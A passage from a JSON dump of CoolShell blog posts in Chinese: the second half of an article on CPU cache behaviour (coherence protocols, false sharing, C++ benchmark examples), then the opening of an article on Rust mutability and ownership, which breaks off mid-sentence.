miss，如果是读操作，就需要进向后面的缓存进行访问了。L2/L3同样是这样的算法。而淘汰算法有两种，一种是随机一种是LRU。现在一般都是以LRU的算法（通过增加一个访问计数器来实现）</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-20840\" height=\"283\" src=\"../wp-content/uploads/2020/03/selectingCacheLine.png\" width=\"681\"/></p>\n<p>这也意味着：</p>\n<ul>\n<li>L1 Cache 可映射 36bits 的内存地址，一共 2^36 = 64GB的内存</li>\n<li>当CPU要访问一个内存的时候，通过这个内存中间的6bits 定位是哪个set，通过前 24bits 定位相应的Cache Line。</li>\n<li>就像一个hash Table的数据结构一样，先是O(1)的索引，然后进入冲突搜索。</li>\n<li>因为中间的 6bits 决定了一个同一个set，所以，对于一段连续的内存来说，每隔4096的内存会被放在同一个组内，导致缓存冲突。</li>\n</ul>\n<p>此外，当有数据没有命中缓存的时候，CPU就会以最小为Cache Line的单元向内存更新数据。当然，CPU并不一定只是更新64Bytes，因为访问主存实在是太慢了，所以，一般都会多更新一些。好的CPU会有一些预测的技术，如果找到一种pattern的话，就会预先加载更多的内存，包括指令也可以预加载。这叫 Prefetching 技术 （参看，Wikipedia 的 <a href=\"https://en.wikipedia.org/wiki/Cache_prefetching\" rel=\"noopener noreferrer\" target=\"_blank\">Cache Prefetching</a> 和 <a href=\"http://compas.cs.stonybrook.edu/~nhonarmand/courses/sp16/cse502/slides/13-prefetch.pdf\" rel=\"noopener noreferrer\" target=\"_blank\">纽约州立大学的 Memory Prefetching</a>）。比如，你在for-loop访问一个连续的数组，你的步长是一个固定的数，内存就可以做到prefetching。（注：指令也是以预加载的方式执行，参看本站的《<a href=\"https://coolshell.cn/articles/7886.html\" rel=\"noopener noreferrer\" target=\"_blank\">代码执行的效率</a>》中的第三个示例）</p>\n<p>了解这些细节，会有利于我们知道在什么情况下有可以导致缓存的失效。</p>\n<h4>缓存的一致性</h4>\n<p>对于主流的CPU来说，缓存的写操作基本上是两种策略（参看本站《<a href=\"https://coolshell.cn/articles/17416.html\" rel=\"noopener noreferrer\" target=\"_blank\">缓存更新的套路</a>》），</p>\n<ul>\n<li>一种是Write Back，写操作只要在cache上，然后再flush到内存上。</li>\n<li>一种是Write Through，写操作同时写到cache和内存上。</li>\n</ul>\n<p>为了提高写的性能，一般来说，主流的CPU（如：Intel Core i7/i9）采用的是Write Back的策略，因为直接写内存实在是太慢了。</p>\n<p>好了，现在问题来了，如果有一个数据 x 在 CPU 第0核的缓存上被更新了，那么其它CPU核上对于这个数据 x 的值也要被更新，这就是缓存一致性的问题。（当然，对于我们上层的程序我们不用关心CPU多个核的缓存是怎么同步的，这对上层的代码来说都是透明的）</p>\n<p>一般来说，在CPU硬件上，会有两种方法来解决这个问题。</p>\n<ul>\n<li><strong>Directory 协议</strong>。这种方法的典型实现是要设计一个集中式控制器，它是主存储器控制器的一部分。其中有一个目录存储在主存储器中，其中包含有关各种本地缓存内容的全局状态信息。当单个CPU Cache 发出读写请求时，这个集中式控制器会检查并发出必要的命令，以在主存和CPU Cache之间或在CPU Cache自身之间进行数据同步和传输。</li>\n<li><strong>Snoopy 协议</strong>。这种协议更像是一种数据通知的总线型的技术。CPU Cache通过这个协议可以识别其它Cache上的数据状态。如果有数据共享的话，可以通过广播机制将共享数据的状态通知给其它CPU Cache。这个协议要求每个CPU Cache 都可以<strong class=\"hu je\"><em class=\"io\">“</em>窥探<em class=\"io\">”</em></strong>数据事件的通知并做出相应的反应。如下图所示，有一个Snoopy Bus的总线。</li>\n</ul>\n<p><strong><img alt=\"\" class=\"aligncenter wp-image-20797\" height=\"217\" src=\"../wp-content/uploads/2020/02/The-cache-coherence-problem-Initially-processors-0-and-1-both-read-location-x.png\" style=\"font-weight: 400;\" width=\"400\"/></strong></p>\n<p>因为Directory协议是一个中心式的，会有性能瓶颈，而且会增加整体设计的复杂度。而Snoopy协议更像是微服务+消息通讯，所以，现在基本都是使用Snoopy的总线的设计。</p>\n<p>这里，我想多写一些细节，因为这种微观的东西，让人不自然地就会跟分布式系统关联起来，在分布式系统中我们一般用Paxos/Raft这样的分布式一致性的算法。而在CPU的微观世界里，则不必使用这样的算法，原因是因为CPU的多个核的硬件不必考虑网络会断会延迟的问题。所以，CPU的多核心缓存间的同步的核心就是要管理好数据的状态就好了。</p>\n<p>这里介绍几个状态协议，先从最简单的开始，MESI协议，这个协议跟那个著名的足球运动员梅西没什么关系，其主要表示缓存数据有四个状态：Modified（已修改）, Exclusive（独占的）,Shared（共享的），Invalid（无效的）。</p>\n<p>这些状态的状态机如下所示（有点复杂，你可以先不看，这个图就是想告诉你状态控制有多复杂）：</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-20804\" height=\"406\" src=\"../wp-content/uploads/2020/02/MESI.png\" width=\"420\"/></p>\n<p>下面是个示例（如果你想看一下动画演示的话，这里有一个网页（<a href=\"https://www.scss.tcd.ie/Jeremy.Jones/VivioJS/caches/MESIHelp.htm\" rel=\"noopener noreferrer\" target=\"_blank\">MESI Interactive Animations</a>），你可以进行交互操作，这个动画演示中使用的Write Through算法）：</p>\n<table>\n<thead>\n<tr>\n<th>当前操作</th>\n<th>CPU0</th>\n<th>CPU1</th>\n<th>Memory</th>\n<th>说明</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>1) CPU0 read(x)</td>\n<td> x=1 (E)</td>\n<td></td>\n<td>x=1</td>\n<td>只有一个CPU有 x 变量，<br/>\n所以，状态是 Exclusive</td>\n</tr>\n<tr>\n<td>2) CPU1 read(x)</td>\n<td> x=1 (S)</td>\n<td>x=1(S)</td>\n<td>x=1</td>\n<td>有两个CPU都读取 x 变量，<br/>\n所以状态变成 Shared</td>\n</tr>\n<tr>\n<td>3) CPU0 write(x,9)</td>\n<td> x=<span style=\"color: #ff0000;\">9</span> (M)</td>\n<td>x=1(I)</td>\n<td>x=1</td>\n<td>变量改变，在CPU0中状态<br/>\n变成 Modified，在CPU1中<br/>\n状态变成 Invalid</td>\n</tr>\n<tr>\n<td>4) 变量 x 写回内存</td>\n<td> x=9 (M)</td>\n<td>X=1(I)</td>\n<td>x=9</td>\n<td>目前的状态不变</td>\n</tr>\n<tr>\n<td>5) CPU1  read(x)</td>\n<td> x=9 (S)</td>\n<td>x=9(S)</td>\n<td>x=9</td>\n<td>变量同步到所有的Cache中，<br/>\n状态回到Shared</td>\n</tr>\n</tbody>\n</table>\n<p> </p>\n<p>MESI 这种协议在数据更新后，会标记其它共享的CPU缓存的数据拷贝为Invalid状态，然后当其它CPU再次read的时候，就会出现 cache miss 的问题，此时再从内存中更新数据。从内存中更新数据意味着20倍速度的降低。我们能不能直接从我隔壁的CPU缓存中更新？是的，这就可以增加很多速度了，但是状态控制也就变麻烦了。还需要多来一个状态：Owner(宿主)，用于标记，我是更新数据的源。于是，出现了 <a href=\"https://en.wikipedia.org/wiki/MOESI_protocol\" rel=\"noopener noreferrer\" target=\"_blank\">MOESI 协议</a></p>\n<p>MOESI协议的状态机和演示示例我就不贴了（有兴趣可以上<a href=\"https://inst.eecs.berkeley.edu/~cs61c/su18/disc/11/Disc11Sol.pdf\" rel=\"noopener\" target=\"_blank\">Berkeley上看看相关的课件</a>），<strong>我们只需要理解MOESI协议允许 CPU Cache 间同步数据，于是也降低了对内存的操作</strong>，性能是非常大的提升，但是控制逻辑也非常复杂。</p>\n<p>顺便说一下，与 MOESI 协议类似的一个协议是 <a href=\"https://en.wikipedia.org/wiki/MESIF_protocol\" rel=\"noopener noreferrer\" target=\"_blank\">MESIF</a>，其中的 F 是 Forward，同样是把更新过的数据转发给别的 CPU Cache 但是，MOESI 中的 Owner 状态 和MESIF 中的 Forward 状态有一个非常大的不一样—— <strong>Owner状态下的数据是dirty的，还没有写回内存，Forward状态下的数据是clean的，可以丢弃而不用另行通知</strong>。</p>\n<p>需要说明的是，AMD用MOESI，Intel用MESIF。所以，F 状态主要是针对 CPU L3 Cache 设计的（前面我们说过，L3是所有CPU核心共享的）。（相关的比较可以参看<a href=\"https://stackoverflow.com/a/49989985\" rel=\"noopener noreferrer\" target=\"_blank\">StackOverlow上这个问题的答案</a>）</p>\n<h4>程序性能</h4>\n<p>了解了我们上面的这些东西后，我们来看一下对于程序的影响。</p>\n<h5>示例一</h5>\n<p>首先，假设我们有一个64M长的数组，设想一下下面的两个循环：</p>\n<pre class=\"EnlighterJSRAW\">const int LEN = 64*1024*1024;\nint *arr = new int[LEN];\n\nfor (int i = 0; i &lt; LEN; i += 2) arr[i] *= i;\n\nfor (int i = 0; i &lt; LEN; i += 8) arr[i] *= i;</pre>\n<p>按我们的想法来看，第二个循环要比第一个循环少4倍的计算量，其应该也是要快4倍的。但实际跑下来并不是，<strong>在我的机器上，第一个循环需要127毫秒，第二个循环则需要121毫秒，相差无几</strong>。这里最主要的原因就是 Cache Line，因为CPU会以一个Cache Line 64Bytes最小时单位加载，也就是16个32bits的整型，所以，无论你步长是2还是8，都差不多。而后面的乘法其实是不耗CPU时间的。</p>\n<h5>示例二</h5>\n<p>我们再来看一个与缓存命中率有关的代码，我们以一定的步长<code>increment</code> 来访问一个连续的数组。</p>\n<pre class=\"EnlighterJSRAW\">for (int i = 0; i &lt; 10000000; i++) {\n    for (int j = 0; j &lt; size; j += increment) {\n        memory[j] += j;\n    }\n}</pre>\n<p>我们测试一下，在下表中， 表头是步长，也就是每次跳多少个整数，而纵向是这个数组可以跳几次（你可以理解为要几条Cache Line），于是表中的任何一项代表了这个数组有多少，而且步长是多少。比如：横轴是 512，纵轴是4，意思是，这个数组有 <code>4*512 = 2048</code> 个长度，访问时按512步长访问，也就是访问其中的这几项：<code>[0, 512, 1024, 1536]</code> 这四项。</p>\n<p>表中同的项是，是循环1000万次的时间，单位是“微秒”（除以1000后是毫秒）</p>\n<pre>| count |   1    |   16  |  512  | 1024  |\n------------------------------------------\n|     1 |  17539 | 16726 | 15143 | 14477 |\n|     2 |  15420 | 14648 | 13552 | 13343 |\n|     3 |  14716 | 14463 | 15086 | 17509 |\n|     4 |  18976 | 18829 | 18961 | 21645 |\n|     5 |  23693 | 23436 | 74349 | 29796 |\n|     6 |  23264 | 23707 | 27005 | 44103 |\n|     7 |  28574 | 28979 | 33169 | 58759 |\n|     8 |  33155 | 34405 | 39339 | 65182 |\n|     9 |  37088 | 37788 | 49863 |<span style=\"color: #cc0000;\"><strong>156745</strong></span> |\n|    10 |  41543 | 42103 | 58533 |<span style=\"color: #cc0000;\"><strong>215278</strong></span> |\n|    11 |  47638 | 50329 | 66620 |<span style=\"color: #cc0000;\"><strong>335603</strong></span> |\n|    12 |  49759 | 51228 | 75087 |<span style=\"color: #cc0000;\"><strong>305075</strong></span> |\n|    13 |  53938 | 53924 | 77790 |<span style=\"color: #cc0000;\"><strong>366879</strong></span> |\n|    14 |  58422 | 59565 | 90501 |<span style=\"color: #cc0000;\"><strong>466368</strong></span> |\n|    15 |  62161 | 64129 | 90814 |<span style=\"color: #cc0000;\"><strong>525780</strong></span> |\n|    16 |  67061 | 66663 | 98734 |<span style=\"color: #cc0000;\"><strong>440558</strong></span> |\n|    17 |  71132 | 69753 |<span style=\"color: #cc0000;\"><strong>171203</strong></span> |<span style=\"color: #cc0000;\"><strong>506631</strong></span> |\n|    18 |  74102 | 73130 |<span style=\"color: #cc0000;\"><strong>293947</strong></span> |<span style=\"color: #cc0000;\"><strong>550920</strong></span> |\n</pre>\n<p>我们可以看到，从 <code>[9，1024]</code> 以后，时间显著上升。包括 <code>[17，512]</code> 和 <code>[18,512]</code> 也显著上升。这是因为，我机器的 L1 Cache 是 32KB, 8 Way 的，前面说过，8 Way的有64组，每组8个Cache Line，当for-loop步长超过1024个整型，也就是正好 4096 Bytes时，也就是导致内存地址的变化是变化在高位的24bits上，而低位的12bits变化不大，尤其是中间6bits没有变化，导致全部命中同一组set，导致大量的cache 冲突，导致性能下降，时间上升。而 [16, 512]也是一样的，其中的几步开始导致L1 Cache开始冲突失效。</p>\n<h5>示例三</h5>\n<p>接下来，我们再来看个示例。下面是一个二维数组的两种遍历方式，一个逐行遍历，一个是逐列遍历，这两种方式在理论上来说，寻址和计算量都是一样的，执行时间应该也是一样的。</p>\n<pre class=\"EnlighterJSRAW\">const int row = 1024;\nconst int col = 512\nint matrix[row][col];\n\n//逐行遍历\nint sum_row=0;\nfor(int _r=0; _r&lt;row; _r++) {\n    for(int _c=0; _c&lt;col; _c++){\n        sum_row += matrix[_r][_c];\n    }\n}\n\n//逐列遍历\nint sum_col=0;\nfor(int _c=0; _c&lt;col; _c++) {\n    for(int _r=0; _r&lt;row; _r++){\n        sum_col += matrix[_r][_c];\n    }\n}</pre>\n<p>然而，并不是，在我的机器上，得到下面的结果。</p>\n<ul>\n<li>逐行遍历：0.081ms</li>\n<li>逐列遍历：1.069ms</li>\n</ul>\n<p>执行时间有十几倍的差距。其中的原因，就是逐列遍历对于CPU Cache 的运作方式并不友好，所以，付出巨大的代价。</p>\n<h5>示例四</h5>\n<p>接下来，我们来看一下多核下的性能问题，参看如下的代码。两个线程在操作一个数组的两个不同的元素（无需加锁），线程循环1000万次，做加法操作。在下面的代码中，我高亮了一行，就是<code>p2</code>指针，要么是<code>p[1]</code>，或是 <code>p[30]</code>，理论上来说，无论访问哪两个数组元素，都应该是一样的执行时间。</p>\n<pre class=\"EnlighterJSRAW\">void fn (int* data) {\n    for(int i = 0; i &lt; 10*1024*1024; ++i)\n        *data += rand();\n}\n\nint p[32];\n\nint *p1 = &amp;p[0];\nint *p2 = &amp;p[1]; // int *p2 = &amp;p[30];\n\nthread t1(fn, p1);\nthread t2(fn, p2);</pre>\n<p>然而，并不是，在我的机器上执行下来的结果是：</p>\n<ul>\n<li>对于 <code>p[0]</code> 和 <code>p[1]</code> ：560ms</li>\n<li>对于 <code>p[0]</code> 和 <code>p[30]</code>：104ms</li>\n</ul>\n<p>这是因为 <code>p[0]</code> 和 <code>p[1]</code> 在同一条 Cache Line 上，而 <code>p[0]</code> 和 <code>p[30]</code> 则不可能在同一条Cache Line 上 ，CPU的缓存最小的更新单位是Cache Line，所以，<strong>这导致虽然两个线程在写不同的数据，但是因为这两个数据在同一条Cache Line上，就会导致缓存需要不断进在两个CPU的L1/L2中进行同步，从而导致了5倍的时间差异</strong>。</p>\n<h5>示例五</h5>\n<p>接下来，我们再来看一下另外一段代码：我们想统计一下一个数组中的奇数个数，但是这个数组太大了，我们希望可以用多线程来完成这个统计。下面的代码中，<strong>我们为每一个线程传入一个 id ，然后通过这个 id 来完成对应数组段的统计任务。这样可以加快整个处理速度</strong>。</p>\n<pre class=\"EnlighterJSRAW\">int total_size = 16 * 1024 * 1024; //数组长度\nint* test_data = new test_data[total_size]; //数组\nint nthread = 6; //线程数（因为我的机器是6核的）\nint result[nthread]; //收集结果的数组\n\nvoid thread_func (int id) {\n    result[id] = 0;\n    int chunk_size = total_size / nthread + 1;\n    int start = id * chunk_size;\n    int end = min(start + chunk_size, total_size);\n\n    for ( int i = start; i &lt; end; ++i ) {\n        if (test_data[i] % 2 != 0 ) ++result[id];\n    }\n}</pre>\n<p>然而，在执行过程中，<strong>你会发现，6个线程居然跑不过1个线程</strong>。因为根据上面的例子你知道 <code>result[]</code> 这个数组中的数据在一个Cache Line中，所以，所有的线程都会对这个 Cache Line 进行写操作，导致所有的线程都在不断地重新同步 <code>result[]</code> 所在的 Cache Line，所以，导致 6 个线程还跑不过一个线程的结果。这叫 <strong>False Sharing</strong>。</p>\n<p>优化也很简单，使用一个线程内的变量。</p>\n<pre class=\"EnlighterJSRAW\">void thread_func (int id) {\n    result[id] = 0;\n    int chunk_size = total_size / nthread + 1;\n    int start = id * chunk_size;\n    int end = min(start + chunk_size, total_size);\n\n    int c = 0; //使用临时变量，没有cache line的同步了\n    for ( int i = start; i &lt; end; ++i ) {\n        if (test_data[i] % 2 != 0 ) ++c;\n    }\n    result[id] = c;\n}</pre>\n<p>我们把两个程序分别在 1 到 32 个线程上跑一下，得出的结果画一张图如下所示（横轴是线程数，纵轴是完成统的时间，单位是微秒）：</p>\n<p><img alt=\"\" class=\"aligncenter size-large wp-image-20813\" height=\"402\" src=\"../wp-content/uploads/2020/03/false.sharing-1024x643.png\" width=\"640\"/></p>\n<p>上图中，我们可以看到，灰色的曲线就是第一种方法，橙色的就是第二种（用局部变量的）方法。当只有一个线程的时候，两个方法相当，基本没有什么差别，但是在线程数增加的时候的时候，你会发现，第二种方法的性能提高的非常快。直到到达6个线程的时候，开始变得稳定（前面说过，我的CPU是6核的）。而第一种方法无论加多少线程也没有办法超过第二种方法。因为第一种方法不是CPU Cache 友好的。也就是说，第二种方法，<strong>只要我的CPU核数足够多，就可以做到线性的性能扩展，让每一个CPU核都跑起来，而第一种则不能</strong>。</p>\n<p>篇幅问题，示例就写到这里，相关的代码参看<a href=\"https://github.com/haoel/cpu-cache\" rel=\"noopener noreferrer\" target=\"_blank\">我的Github相关仓库</a>。</p>\n<h4>延伸阅读</h4>\n<ul>\n<li>Wikipedia : <a href=\"https://en.wikipedia.org/wiki/CPU_cache\" rel=\"noopener noreferrer\" target=\"_blank\">CPU Cache </a></li>\n<li>经典文章：<a href=\"http://igoro.com/archive/gallery-of-processor-cache-effects/\" rel=\"noopener noreferrer\" target=\"_blank\">Gallery of Processor Cache Effects</a> （这篇文章中的测试已经有点过时了，但是这篇文章中所说的那些东西还是非常适用的）</li>\n<li>Effective C++作者 Scott Meyers 的演讲 CPU Caches and Why You Care （<a href=\"https://www.youtube.com/watch?v=WDIkqP4JbkE\" rel=\"noopener noreferrer\" target=\"_blank\">Youtube</a>，<a href=\"https://www.aristeia.com/TalkNotes/codedive-CPUCachesHandouts.pdf\" rel=\"noopener noreferrer\" target=\"_blank\">PPT</a>）</li>\n<li>美国私立大学Swarthmore的教材 <a href=\"https://www.cs.swarthmore.edu/~kwebb/cs31/f18/memhierarchy/caching.html\" rel=\"noopener noreferrer\" target=\"_blank\">Cache Architecture and Design</a></li>\n<li>经典文章：<a href=\"https://people.freebsd.org/~lstewart/articles/cpumemory.pdf\" rel=\"noopener noreferrer\" target=\"_blank\">What Every Programmer Should Know About Memory</a> （这篇文章非常经典，但是开篇太晦涩了，居然告诉你晶体管内的构造，第三章和第六章是重点）</li>\n<li>Nonblocking Algorithms and Scalable Multicore Programming （<a href=\"https://queue.acm.org/detail.cfm?id=2492433\" rel=\"noopener noreferrer\" target=\"_blank\">英文版</a>，<a href=\"https://www.oschina.net/translate/nonblocking-algorithms-and-scalable-multicore-programming\" rel=\"noopener noreferrer\" target=\"_blank\">中文版</a>）</li>\n<li>Github上的一个代码库 <a href=\"https://github.com/Kobzol/hardware-effects\" rel=\"noopener noreferrer\" target=\"_blank\">hardware-effects</a> 里面有受CPU影响的程序的演示</li>\n<li>Optimizing for instruction caches （<a href=\"https://www.eetimes.com/optimizing-for-instruction-caches-part-1/\" rel=\"noopener noreferrer\" target=\"_blank\">Part 1</a>，<a href=\"https://www.eetimes.com/optimizing-for-instruction-caches-part-2/\" rel=\"noopener noreferrer\" target=\"_blank\">Part 2</a>， <a href=\"https://www.eetimes.com/optimizing-for-instruction-caches-part-3/\">Part 3</a>）</li>\n<li>经典数据：<a href=\"https://gist.github.com/jboner/2841832\" rel=\"noopener noreferrer\" target=\"_blank\">Latency Numbers Every Programmer Should Know</a></li>\n<li>关于Java的可以看一下这篇<a href=\"https://dzone.com/articles/optimizing-memory-access-with-cpu-cache\" rel=\"noopener noreferrer\" target=\"_blank\">Optimizing Memory Access With CPU Cache</a> 或是 <a href=\"https://www.stardog.com/blog/writing-cache-friendly-code/\" rel=\"noopener noreferrer\" target=\"_blank\">Writing cache-friendly code</a></li>\n</ul>\n<p>总之，这个CPU Cache的调优技术不是什么新鲜的东西，只要Google就能找到有很多很多文章……</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10249.html\"><img alt=\"7个示例科普CPU Cache\" height=\"150\" src=\"../wp-content/uploads/2013/07/image6-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10249.html\">7个示例科普CPU Cache</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17416.html\"><img alt=\"缓存更新的套路\" height=\"150\" src=\"../wp-content/uploads/2016/07/cache-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17416.html\">缓存更新的套路</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2039.html\"><img alt=\"CPU的性价比\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2039.html\">CPU的性价比</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1044.html\"><img alt=\"高级Unix命令\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1044.html\">高级Unix命令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5479.html\"><img alt=\"给程序员的VIM速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5479.html\">给程序员的VIM速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9070.html\"><img alt=\"AWK 简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/02/awk-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9070.html\">AWK 简明教程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/20793.html\">与程序员相关的CPU缓存知识</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2020-4-4 Rust语言的编程范式.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-sup_wechat_big wp-image-20925\" height=\"200\" src=\"../wp-content/uploads/2020/03/rust-social-wide-360x200.jpg\" width=\"360\"/>总是有很多很多人来问我对Rust语言怎么看的问题，在各种地方被at，其实，我不是很想表达我的想法。因为在不同的角度，你会看到不同的东西。编程语言这个东西，老实说很难评价，在学术上来说，Lisp就是很好的语言，然而在工程使用的时候，你会发现Lisp没什么人用，而Javascript或是PHP这样在学术很糟糕设计的语言反而成了主流，你觉得C++很反人类，在我看来，C++有很多不错的设计，而且对于了解编程语言和编译器的和原理非常有帮助。<strong>但是C++也很危险，所以，出现在像Java或Go 语言来改善它，Rust本质上也是在改善C++的。他们各自都有各自的长处和优势</strong>。</p>\n<p>因为各个语言都有好有不好，因此，我不想用别的语言来说Rust的问题，或是把Rust吹成朵花以打压别的语言，写成这样的文章，是很没有营养的事。<strong>本文主要想通过Rust的语言设计来看看编程中的一些挑战，尤其是Rust重要的一些编程范式，这样反而更有意义一些，因为这样你才可能一通百通</strong>。</p>\n<p>这篇文章的篇幅比较长，而且有很多代码，信息量可能会非常大，所以，<strong>在读本文前，你需要有如下的知识准备</strong>：</p>\n<ul>\n<li>你对C++语言的一些特性和问题比较熟悉。尤其是：指针、引用、右值move、内存对象管理、泛型编程、智能指针……</li>\n<li>当然，你还要略懂Rust，不懂也没太大关系，但本文不会是Rust的教程文章，可以参看“<a href=\"https://doc.rust-lang.org/book/title-page.html\" rel=\"noopener noreferrer\" target=\"_blank\">Rust的官方教程</a>”（<a href=\"https://kaisery.github.io/trpl-zh-cn/\" rel=\"noopener noreferrer\" target=\"_blank\">中文版</a>）</li>\n</ul>\n<p><strong>因为本文太长，所以，我有必要写上 TL;DR ——</strong></p>\n<p><span id=\"more-20845\"></span></p>\n<p>Java 与 Rust 在改善C/C++上走了完全不同的两条路，他们主要改善的问题就是C/C++ Safety的问题。所谓C/C++编程安全上的问题，主要是：内存的管理、数据在共享中出现的“野指针”、“野引用”的问题。</p>\n<ul>\n<li>对于这些问题，Java用引用垃圾回收再加上强大的VM字节码技术可以进行各种像反射、字节码修改的黑魔法。</li>\n<li>而Rust不玩垃圾回收，也不玩VM，所以，作为静态语言的它，只能在编译器上下工夫。如果要让编译器能够在编译时检查出一些安全问题，那么就需要程序员在编程上与Rust语言有一些约定了，其中最大的一个约定规则就是变量的所有权问题，并且还要在代码上“去糖”，比如让程序员说明一些共享引用的生命周期。</li>\n<li>Rust的这些所有权的约定造成了很大的编程上的麻烦，写Rust的程序时，基本上来说，你的程序再也不要想可能轻轻松松能编译通过了。而且，在面对一些场景的代码编写时，如：函数式的闭包，多线程的不变数据的共享，多态……开始变得有些复杂，并会让你有种找不到北的感觉。</li>\n<li>Rust的Trait很像Java的接口，通过Trait可以实现C++的拷贝构造、重载操作符、多态等操作……</li>\n<li>学习Rust的学习曲线并不平，用Rust写程序，基本上来说，一旦编译通过，代码运行起来是安全的，bug也是很少的。</li>\n</ul>\n<p><strong>如果你对Rust的概念认识的不完整，你完全写不出程序，那怕就是很简单的一段代码</strong>。<strong>这逼着程序员必需了解所有的概念才能编码。但是，另一方面也表明了这门语言并不适合初学者……</strong></p>\n<h4>变量的可变性</h4>\n<p>首先，Rust里的变量声明默认是“不可变的”，如果你声明一个变量 <code>let x = 5;</code>  变量 <code>x</code> 是不可变的，也就是说，<code>x = y + 10;</code> 编译器会报错的。如果你要变量的话，你需要使用 <code>mut</code> 关键词，也就是要声明成 <code>let mut x = 5;</code> 表示这是一个可以改变的变量。这个是比较有趣的，因为其它主流语言在声明变量时默认是可变的，而Rust则是要反过来。这可以理解，不可变的通常来说会有更好的稳定性，而可变的会代来不稳定性。所以，Rust应该是想成为更为安全的语言，所以，默认是 immutable 的变量。当然，Rust同样有 <code>const</code> 修饰的常量。于是，Rust可以玩出这么些东西来：</p>\n<ul>\n<li>常量：<code>const LEN:u32 = 1024;</code> 其中的 <code>LEN</code> 就是一个<code>u32</code> 的整型常量（无符号32位整型），是编译时用到的。</li>\n<li>可变的变量： <code>let mut x = 5;</code> 这个就跟其它语言的类似， 在运行时用到。</li>\n<li>不可变的变量：<code>let x= 5;</code> 对这种变量，你无论修改它，但是，你可以使用 <code>let x = x + 10;</code> 这样的方式来重新定义一个新的 <code>x</code>。这个在Rust里叫 Shadowing ，第二个 <code>x</code>  把第一个 <code>x</code> 给遮蔽了。</li>\n</ul>\n<p>不可变的变量对于程序的稳定运行是有帮助的，这是一种编程“契约”，当处理契约为不可变的变量时，程序就可以稳定很多，尤其是多线程的环境下，因为不可变意味着只读不写，其他好处是，与易变对象相比，它们更易于理解和推理，并提供更高的安全性。有了这样的“契约”后，编译器也很容易在编译时查错了。这就是Rust语言的编译器的编译期可以帮你检查很多编程上的问题。</p>\n<p>对于标识不可变的变量，在 C/C++中我们用<code>const</code> ，在Java中使用 <code>final</code> ，在 C#中使用 <code>readonly</code> ，Scala用 <code>val</code> ……（在Javascript 和Python这样的动态语言中，原始类型基本都是不可变的，而自定义类型是可变的）。</p>\n<p>对于Rust的Shadowing，我个人觉得是比较危险的，在我的职业生涯中，这种使用同名变量（在嵌套的scope环境下）带来的bug还是很不好找的。一般来说，每个变量都应该有他最合适的名字，最好不要重名。</p>\n<h4>变量的所有权</h4>\n<p>这个是Rust这个语言中比较强调的一个概念。其实，在我们的编程中，很多情况下，都是把一个对象（变量）传递过来传递过去，在传递的过程中，传的是一份复本，还是这个对象本身，也就是所谓的“传值还是传引用”的被程序员问得最多的问题。</p>\n<ul>\n<li><strong>传递副本（传值）</strong>。把一个对象的复本传到一个函数中，或是放到一个数据结构容器中，可能需要出现复制的操作，这个复制对于一个对象来说，需要深度复制才安全，否则就会出现各种问题。而深度复制就会导致性能问题。</li>\n<li><strong>传递对象本身（传引用）</strong>。传引用也就是不需要考虑对象的复制成本，但是需要考虑对象在传递后，会多个变量所引用的问题。比如：我们把一个对象的引用传给一个List或其它的一个函数，这意味着，大家对同一个对象都有控制权，如果有一个人释放了这个对象，那边其它人就遭殃了，所以，一般会采用引用计数的方式来共享一个对象。引用除了共享的问题外，还有作用域的问题，比如：你从一个函数的栈内存中返回一个对象的引用给调用者，调用者就会收到一个被释放了个引用对象（因为函数结束后栈被清了）。</li>\n</ul>\n<p>这些东西在任何一个编程语言中都是必需要解决的问题，要足够灵活到让程序员可以根据自己的需要来写程序。</p>\n<p>在C++中，如果你要传递一个对象，有这么几种方式：</p>\n<ul>\n<li><strong>引用或指针。</strong>也就是不建复本，完全共享，于是，但是会出现悬挂指针（<a href=\"https://en.wikipedia.org/wiki/Dangling_pointer\" rel=\"noopener noreferrer\" target=\"_blank\">Dangling 